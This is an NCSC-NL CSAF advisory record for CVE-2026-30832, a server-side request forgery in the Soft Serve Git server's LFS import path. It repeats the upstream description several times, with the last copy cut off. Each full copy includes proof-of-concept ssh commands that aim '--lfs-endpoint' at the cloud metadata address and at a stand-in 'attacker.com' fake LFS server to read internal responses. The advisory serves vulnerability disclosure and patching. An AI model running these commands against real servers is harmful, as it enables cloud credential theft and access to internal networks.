{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30832",
        "tracking": {
            "current_release_date": "2026-03-25T19:20:01.310328Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30832",
            "initial_release_date": "2026-03-06T22:39:33.925840Z",
            "revision_history": [
                {
                    "date": "2026-03-06T22:39:33.925840Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T22:39:40.471211Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-07T00:13:01.580201Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:13:05.067044Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T16:25:16.220785Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T16:25:24.500505Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T16:38:56.677490Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T16:38:59.145823Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T14:48:57.209656Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-09T17:02:44.778152Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T17:02:46.870102Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:12:49.498780Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T18:39:26.380168Z",
                    "number": "13",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-11T21:25:04.010992Z",
                    "number": "14",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-11T21:25:09.882649Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:20.232462Z",
                    "number": "16",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:22.497904Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:33:56.292133Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:33:58.559827Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:14:25.034451Z",
                    "number": "20",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)."
                },
                {
                    "date": "2026-03-25T18:14:26.466962Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T19:19:54.474348Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (21).| Products created (1).| References created (5).| CWES updated (1)."
                }
            ],
            "status": "interim",
            "version": "22"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.6.0|<0.11.4",
                                "product": {
                                    "name": "vers:unknown/>=0.6.0|<0.11.4",
                                    "product_id": "CSAFPID-5799308",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:charm:soft_serve:*:*:*:*:*:go:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Soft Serve"
                    }
                ],
                "category": "vendor",
                "name": "Charm"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.6.0|<0.11.4",
                                "product": {
                                    "name": "vers:unknown/>=0.6.0|<0.11.4",
                                    "product_id": "CSAFPID-5767827"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.10.0",
                                "product": {
                                    "name": "vers:unknown/v0.10.0",
                                    "product_id": "CSAFPID-5175195"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.0",
                                "product": {
                                    "name": "vers:unknown/v0.11.0",
                                    "product_id": "CSAFPID-5181438"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.1",
                                "product": {
                                    "name": "vers:unknown/v0.11.1",
                                    "product_id": "CSAFPID-5362940"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.2",
                                "product": {
                                    "name": "vers:unknown/v0.11.2",
                                    "product_id": "CSAFPID-5458972"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.3",
                                "product": {
                                    "name": "vers:unknown/v0.11.3",
                                    "product_id": "CSAFPID-5909375"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.0",
                                "product": {
                                    "name": "vers:unknown/v0.6.0",
                                    "product_id": "CSAFPID-3818029"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.1",
                                "product": {
                                    "name": "vers:unknown/v0.6.1",
                                    "product_id": "CSAFPID-3818030"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.2",
                                "product": {
                                    "name": "vers:unknown/v0.6.2",
                                    "product_id": "CSAFPID-3818031"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.1",
                                "product": {
                                    "name": "vers:unknown/v0.7.1",
                                    "product_id": "CSAFPID-3818032"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.2",
                                "product": {
                                    "name": "vers:unknown/v0.7.2",
                                    "product_id": "CSAFPID-3818033"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.3",
                                "product": {
                                    "name": "vers:unknown/v0.7.3",
                                    "product_id": "CSAFPID-3818034"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.4",
                                "product": {
                                    "name": "vers:unknown/v0.7.4",
                                    "product_id": "CSAFPID-3818035"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.5",
                                "product": {
                                    "name": "vers:unknown/v0.7.5",
                                    "product_id": "CSAFPID-3818036"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.6",
                                "product": {
                                    "name": "vers:unknown/v0.7.6",
                                    "product_id": "CSAFPID-3818037"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.0",
                                "product": {
                                    "name": "vers:unknown/v0.8.0",
                                    "product_id": "CSAFPID-3818038"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.1",
                                "product": {
                                    "name": "vers:unknown/v0.8.1",
                                    "product_id": "CSAFPID-3818039"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.2",
                                "product": {
                                    "name": "vers:unknown/v0.8.2",
                                    "product_id": "CSAFPID-5100411"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.3",
                                "product": {
                                    "name": "vers:unknown/v0.8.3",
                                    "product_id": "CSAFPID-5100412"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.4",
                                "product": {
                                    "name": "vers:unknown/v0.8.4",
                                    "product_id": "CSAFPID-5100413"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.5",
                                "product": {
                                    "name": "vers:unknown/v0.8.5",
                                    "product_id": "CSAFPID-5100414"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9.0",
                                "product": {
                                    "name": "vers:unknown/v0.9.0",
                                    "product_id": "CSAFPID-5100415"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9.1",
                                "product": {
                                    "name": "vers:unknown/v0.9.1",
                                    "product_id": "CSAFPID-5100416"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "soft-serve"
                    }
                ],
                "category": "vendor",
                "name": "charmbracelet"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30832",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(&lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a new repo name (which is normal during import -- you're creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn't exist, the user has read/write access.\n    if anon > access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return &httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: &BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `<attacker-endpoint>/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker's batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo's git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint <internal-url>` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven't been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr",
                    "title": "github - https://github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "description",
                    "text": "While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(&lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a new repo name (which is normal during import -- you're creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn't exist, the user has read/write access.\n    if anon > access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return &httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: &BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `<attacker-endpoint>/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker's batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo's git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint <internal-url>` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven't been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3fvx-xrxq-8jvv.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30832"
                },
                {
                    "category": "description",
                    "text": "Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30832"
                },
                {
                    "category": "description",
                    "text": "While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(&lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a 